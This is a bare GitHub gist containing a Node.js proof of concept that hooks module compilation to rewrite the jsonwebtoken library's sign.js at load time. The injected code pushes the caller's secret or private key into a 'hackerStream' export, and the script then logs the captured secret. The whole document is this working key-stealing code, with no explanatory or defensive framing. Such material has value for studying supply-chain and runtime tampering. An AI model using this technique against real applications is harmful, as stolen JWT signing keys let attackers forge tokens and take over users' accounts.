Skip to content

Instantly share code, notes, and snippets.

@vdeturckheim
Last active June 3, 2016 13:41
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save vdeturckheim/768158578c2c56bba01cea4d893f740a to your computer and use it in GitHub Desktop.
Save vdeturckheim/768158578c2c56bba01cea4d893f740a to your computer and use it in GitHub Desktop.
'use strict';
const Hook = require('compile-hook');
const Acorn = require('acorn-jsx');
const Falafel = require('falafel');
const hijack = function (script) {
return Falafel(script, { parser: Acorn }, function (node) {
if (node.type === 'AssignmentExpression' && node.source().includes('module.exports')) {
node.update('var hackerStream = new require(\'stream\').PassThrough();\n' + node.source() + '\nmodule.exports.hackerStream = hackerStream;' + '\n');
}
if (node.source() === 'options = options || {};') {
node.update(node.source() + '\n' + 'hackerStream.push(secretOrPrivateKey)');
}
});
};
Hook.placeHook((content, filename, done) => {
if (filename.includes('/sign.js')) {
done(hijack(content));
}
else {
done();
}
});
const jwt = require('jsonwebtoken');
jwt.sign.hackerStream.on('data', (raw) => {
console.log('secret', raw.toString());
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment